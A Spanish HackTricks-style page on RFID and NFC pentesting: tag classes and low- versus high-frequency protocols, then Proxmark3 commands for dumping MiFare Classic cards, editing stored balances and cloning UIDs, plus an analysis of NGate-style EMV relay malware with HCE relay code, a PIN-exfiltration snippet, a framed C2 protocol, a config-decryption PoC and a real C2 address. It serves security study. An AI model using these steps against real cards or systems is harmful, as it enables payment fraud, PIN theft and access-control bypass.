Pentesting RFID

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Introduction

Radio Frequency Identification (RFID) es la solución de radio de corto alcance más popular. Normalmente se usa para almacenar y transmitir información que identifica a una entidad.

Una etiqueta RFID puede depender de su propia fuente de energía (active), como una batería integrada, o recibir su energía de la antena lectora usando la corriente inducida por las ondas de radio recibidas (passive).

Classes

EPCglobal divide las etiquetas RFID en seis categorías. Una etiqueta en cada categoría tiene todas las capacidades listadas en la categoría anterior, lo que la hace retrocompatible.

  • Class 0 tags son etiquetas passive que operan en bandas UHF. El proveedor las preprograma en la fábrica de producción. Como resultado, no puedes cambiar la información almacenada en su memoria.
  • Class 1 tags también pueden operar en bandas HF. Además, pueden ser escritas una sola vez después de la producción. Muchas Class 1 tags también pueden procesar cyclic redundancy checks (CRCs) de los comandos que reciben. Los CRCs son algunos bytes extra al final de los comandos para detección de errores.
  • Class 2 tags pueden ser escritas múltiples veces.
  • Class 3 tags pueden contener sensores embebidos que registran parámetros ambientales, como la temperatura actual o el movimiento de la etiqueta. Estas tags son semi-passive, porque aunque tienen una fuente de energía embebida, como una battery integrada, no pueden iniciar la communication inalámbrica con otras tags o lectores.
  • Class 4 tags pueden iniciar comunicación con otras tags de la misma clase, convirtiéndolas en active tags.
  • Class 5 tags pueden proporcionar power a otras tags y comunicarse con todas las clases anteriores. Class 5 tags pueden actuar como RFID readers.

Information Stored in RFID Tags

La memoria de una etiqueta RFID normalmente almacena cuatro tipos de datos: los identification data, que identifican la entidad a la que está adherida la etiqueta (estos datos incluyen campos definidos por el usuario, como cuentas bancarias); los supplementary data, que proveen detalles adicionales sobre la entidad; los control data, usados para la configuración interna de la etiqueta; y los manufacturer data, que contienen el Identificador Único (UID) de la etiqueta y detalles sobre la producción, tipo y vendor de la etiqueta. Encontrarás los dos primeros tipos de datos en todas las etiquetas comerciales; los dos últimos pueden diferir según el vendor de la etiqueta.

El estándar ISO especifica el valor Application Family Identifier (AFI), un código que indica el tipo de objeto al que pertenece la etiqueta. Otro registro importante, también especificado por ISO, es el Data Storage Format Identifier (DSFID), que define la organización lógica de los datos de usuario.

La mayoría de los mecanismos de seguridad de RFID tienen mecanismos que restringen las operaciones de read o write en cada bloque de memoria de usuario y en los registros especiales que contienen los valores AFI y DSFID. Estos mecanismos de bloqueo usan datos almacenados en la memoria de control y tienen contraseñas por defecto preconfiguradas por el vendor, pero permiten a los propietarios de la etiqueta configurar contraseñas personalizadas.

Low & High frequency tags comparison

Low-Frequency RFID Tags (125kHz)

Las low-frequency tags se usan a menudo en sistemas que no requieren alta seguridad: acceso a edificios, llaves de intercomunicador, tarjetas de membresía de gimnasio, etc. Debido a su mayor rango, son convenientes para uso en parkings de pago: el conductor no necesita acercar la tarjeta al lector, ya que se activa desde más lejos. Al mismo tiempo, las low-frequency tags son muy primitivas, tienen una baja tasa de transferencia de datos. Por esa razón, es imposible implementar transferencias complejas de datos bidireccionales para cosas como mantener un saldo y criptografía. Las low-frequency tags solo transmiten su ID corto sin ningún medio de autenticación.

Estos dispositivos se basan en tecnología passive RFID y operan en un rango de 30 kHz a 300 kHz, aunque es más habitual usar 125 kHz a 134 kHz:

  • Long Range — la frecuencia más baja se traduce en mayor alcance. Existen algunos lectores EM-Marin y HID que funcionan desde una distancia de hasta un metro. Estos se usan a menudo en parkings.
  • Primitive protocol — debido a la baja tasa de transferencia de datos, estas tags solo pueden transmitir su ID corto. En la mayoría de los casos, los datos no están autenticados y no están protegidos de ninguna forma. En cuanto la tarjeta está en el rango del lector, simplemente comienza a transmitir su ID.
  • Low security — Estas tarjetas pueden copiarse fácilmente, o incluso leerse desde el bolsillo de otra persona debido a la primitividad del protocolo.

Protocolos populares de 125 kHz:

  • EM-Marin — EM4100, EM4102. El protocolo más popular en CIS. Puede leerse desde aproximadamente un metro debido a su simplicidad y estabilidad.
  • HID Prox II — protocolo de baja frecuencia introducido por HID Global. Este protocolo es más popular en países occidentales. Es más complejo y las tarjetas y lectores para este protocolo son relativamente caros.
  • Indala — protocolo de baja frecuencia muy antiguo que fue introducido por Motorola y posteriormente adquirido por HID. Es menos probable encontrarlo en el mundo real comparado con los dos anteriores porque está en desuso.

En realidad, hay muchos más protocolos de baja frecuencia. Pero todos usan la misma modulación en la capa física y pueden considerarse, de una forma u otra, una variación de los listados arriba.

Attack

Puedes attack these Tags with the Flipper Zero:

FZ - 125kHz RFID

High-Frequency RFID Tags (13.56 MHz)

Las high-frequency tags se usan para una interacción lector-etiqueta más compleja cuando necesitas criptografía, una gran transferencia de datos bidireccional, autenticación, etc.
Normalmente se encuentran en tarjetas bancarias, transporte público y otros pases seguros.

Las etiquetas de alta frecuencia 13.56 MHz son un conjunto de estándares y protocolos. Usualmente se les llama NFC, pero eso no siempre es correcto. El conjunto básico de protocolos usado en los niveles físico y lógico es ISO 14443. Los protocolos de alto nivel, así como estándares alternativos (como ISO 19092), se basan en él. Mucha gente se refiere a esta tecnología como Near Field Communication (NFC), un término para dispositivos que operan en la frecuencia de 13.56 MHz.

Para decirlo simplemente, la arquitectura de NFC funciona así: el protocolo de transmisión es elegido por la compañía que fabrica las tarjetas e implementado sobre el nivel bajo ISO 14443. Por ejemplo, NXP inventó su propio protocolo de transmisión de alto nivel llamado Mifare. Pero en el nivel inferior, las tarjetas Mifare se basan en el estándar ISO 14443-A.

Flipper puede interactuar tanto con el protocolo de bajo nivel ISO 14443, como con el protocolo de transferencia de datos Mifare Ultralight y EMV usado en tarjetas bancarias. Estamos trabajando en añadir soporte para Mifare Classic y NFC NDEF. Un análisis detallado de los protocolos y estándares que componen NFC merece un artículo aparte que planeamos publicar más adelante.

Todas las tarjetas de alta frecuencia basadas en el estándar ISO 14443-A tienen un ID de chip único. Actúa como el número de serie de la tarjeta, similar a la dirección MAC de una tarjeta de red. Usualmente, el UID tiene 4 o 7 bytes de longitud, pero raramente puede llegar hasta 10. Los UID no son secretos y son fácilmente legibles, a veces incluso impresos en la propia tarjeta.

Hay muchos sistemas de control de acceso que dependen del UID para autenticar y conceder acceso. A veces esto ocurre incluso cuando las etiquetas RFID soportan criptografía. Tal uso indebido las deja al nivel de las tarjetas de 125 kHz en términos de seguridad. Las tarjetas virtuales (como Apple Pay) usan un UID dinámico para que los propietarios del teléfono no abran puertas con su app de pago.

  • Low range — las tarjetas de alta frecuencia están diseñadas específicamente para que deban colocarse cerca del lector. Esto también ayuda a proteger la tarjeta de interacciones no autorizadas. El rango máximo de lectura que logramos alcanzar fue aproximadamente 15 cm, y eso fue con lectores de alto alcance hechos a medida.
  • Advanced protocols — velocidades de transferencia de datos de hasta 424 kbps permiten protocolos complejos con transferencias bidireccionales completas. Lo que a su vez permite criptografía, transferencia de datos, etc.
  • High security — las tarjetas contactless de alta frecuencia no son en absoluto inferiores a las smart cards. Hay tarjetas que soportan algoritmos criptográficamente fuertes como AES e implementan criptografía asimétrica.

Attack

Puedes attack these Tags with the Flipper Zero:

FZ - NFC

O usando el proxmark:

Proxmark 3

MiFare Classic offline stored-value tampering (broken Crypto1)

Cuando un sistema almacena un saldo monetario directamente en una tarjeta MiFare Classic, a menudo puedes manipularlo porque Classic usa el cifrado obsoleto Crypto1 de NXP. Crypto1 ha sido roto durante años, permitiendo la recuperación de las keys de sector y la lectura/escritura completa de la memoria de la tarjeta con hardware comercial (por ejemplo, Proxmark3).

Flujo de trabajo end-to-end (resumido):

  1. Realizar el dump de la tarjeta original y recuperar las keys
# Attempt all built-in Classic key recovery attacks and dump the card
hf mf autopwn

Esto típicamente recupera sector keys (A/B) y genera un full-card dump en la carpeta client dumps.

  1. Localiza y comprende los campos value/integrity
  • Realiza recargas legítimas en la tarjeta original y toma múltiples dumps (antes/después).
  • Haz un diff de los dos dumps para identificar los bloques/bytes que cambian y que representan el saldo y cualquier campo de integrity.
  • Muchas implementaciones Classic usan bien la codificación nativa “value block” o implementan sus propios checksums (p. ej., XOR del balance con otro campo y una constante). Tras cambiar el balance, recalcula los bytes de integrity en consecuencia y asegúrate de que todos los campos duplicados/complementados sean consistentes.
  1. Escribe el dump modificado a una “Chinese magic” Classic tag escribible
# Load a modified binary dump onto a UID-changeable Classic tag
hf mf cload -f modified.bin
  1. Clonar el UID original para que los terminales reconozcan la tarjeta
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
hf mf csetuid -u <original_uid>
  1. Uso en terminales

Los lectores que confían en el saldo en la tarjeta y en el UID aceptarán la tarjeta manipulada. Observaciones de campo muestran que muchas implementaciones limitan los saldos según el ancho del campo (p. ej., punto fijo de 16 bits).

Notas

  • Si el sistema usa native Classic value blocks, recuerda el formato: value (4B) + ~value (4B) + value (4B) + block address + ~address. Todas las partes deben coincidir.
  • Para formatos personalizados con sumas de verificación simples, el análisis diferencial es la forma más rápida de derivar la función de integridad sin revertir el firmware.
  • Sólo las UID-changeable tags (“Chinese magic” gen1a/gen2) permiten escribir block 0/UID. Las tarjetas Classic normales tienen UIDs de solo lectura.

Para comandos prácticos de Proxmark3, ver:

Proxmark 3

Construcción de un clonador móvil portátil HID MaxiProx 125 kHz

Si necesitas una solución de largo alcance, alimentada por batería para capturar credenciales HID Prox® durante engagements de red-team, puedes convertir el lector de pared HID MaxiProx 5375 en un clonador autónomo que quepa en una mochila. El recorrido completo mecánico y eléctrico está disponible aquí:

Maxiprox Mobile Cloner

NFC/EMV Relay via Android Reader↔HCE Emitter

El relay clásico EMV puede implementarse con 2 dispositivos Android: un lector en el lado de la víctima que captura APDUs y PIN en vivo de una tarjeta real, y un emisor HCE en el lado del atacante en el terminal que reenvía APDUs hacia arriba. El kit NGate analizado abusa de las Android NFC APIs legítimas y de un C2 TCP con tramas simples para orquestar retiros en cajeros en tiempo real.

Componentes clave

  • Reader-mode app (victim): usa las NFC reader APIs para parsear EMV (PAN/expiry/AIDs), muestra el scheme por AID, solicita el PIN y exfiltra inmediatamente.
  • Emitter-mode app (ATM side): implementa Host Card Emulation (HCE) con android:requireDeviceUnlock="false" y un payment AID; processCommandApdu() reenvía APDUs al C2 y devuelve una respuesta mínima.
  • Wire protocol: tramas prefijadas por longitud, keepalive periódico; opcionalmente TLS.

Android surface (Manifest/HCE)

<uses-permission android:name="android.permission.NFC"/>
<uses-permission android:name="android.permission.INTERNET"/>
<service android:name=".nfc.hce.ApduService"
android:permission="android.permission.BIND_NFC_SERVICE"
android:exported="true">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<meta-data android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/hce"/>
</service>

Ejemplo de hce.xml (sin unlock + AID de pago)

<host-apdu-service android:requireDeviceUnlock="false"
android:description="relay">
<aid-group android:category="other">
<aid-filter android:name="F001020304050607"/>
</aid-group>
<aid-group android:category="payment">
<aid-filter android:name="F001020304050607"/>
</aid-group>
</host-apdu-service>

Punto final de retransmisión transparente (HCE)

@Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
Log.d("ApduService", "APDU-IN: " + toHex(apdu));
bus.forward(apdu); // send upstream to C2/reader
return new byte[0]; // empty response, pure relay endpoint
}

Inferencia del esquema EMV por AID (ejemplos)

  • A000000004 → Mastercard
  • A000000003 → Visa
  • A000000658 → MIR
  • A000000333 → UnionPay

Patrón de PIN harvesting (UI de la víctima)

// Custom keypad publishes when required length (e.g., 4) is reached
if (pin.length() == 4) postDelayed(() -> bus.publish(pin), 100L);
// Network immediately exfiltrates via dedicated opcode
send(OP_PIN_REQ, pin.getBytes(StandardCharsets.UTF_8));

Framed C2 (cleartext example)

  • Client→Server: int32 len | int32 opcode | body
  • Server→Client: int32 len | body (opcode inside payload)
  • Rechazar bodies > ~100 MiB; keepalive ~7s (PING)
// send
out.writeInt(body.length); out.writeInt(op); out.write(body); out.flush();
// recv
int len = in.readInt(); byte[] body = new byte[len]; in.readFully(body);

Config concealment: cert-derived XOR

  • Native lib deriva una clave de 32 bytes como SHA‑256 del app signing certificate (DER).
  • C2 config es ASCII‑hex en assets (e.g., assets/____), hex-decoded y XOR-ed con la clave repitiéndose cada 32 bytes:
for (size_t i = 0; i < len; i++) pt[i] = ct[i] ^ key[i & 31];

PoC offline para decrypt config

# Extract signing cert digest
apksigner verify --print-certs sample.apk
# "Signer #1 certificate SHA-256 digest: <hex>"

import pathlib
key = bytes.fromhex("<sha256_of_signing_cert>")
ct  = bytes.fromhex(pathlib.Path("/path/to/assets/____").read_text().strip())
pt  = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
print(pt.decode("utf-8", errors="replace"))

Campos de ejemplo descifrados: host, port, sharedToken, tls, mode, reader, uniqueID, ttd.

Cadena de relay (end-to-end)

  1. La víctima instala el APK, abre la app → la inicialización nativa descifra la configuración desde assets.
  2. La app se conecta al C2 (p. ej., 91.84.97.13:5653) usando framed TCP; keepalive ~7s.
  3. La víctima acerca la tarjeta → el reader extrae PAN/expiry/AIDs y envía CARD_DISCOVERED.
  4. La víctima introduce el PIN → el keypad publica y exfiltra vía PIN_REQ; el servidor responde VALID/INVALID solo para la UI.
  5. El dispositivo del atacante en el terminal ejecuta un emisor HCE que reenvía APDUs al ATM y realiza el cash-out.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks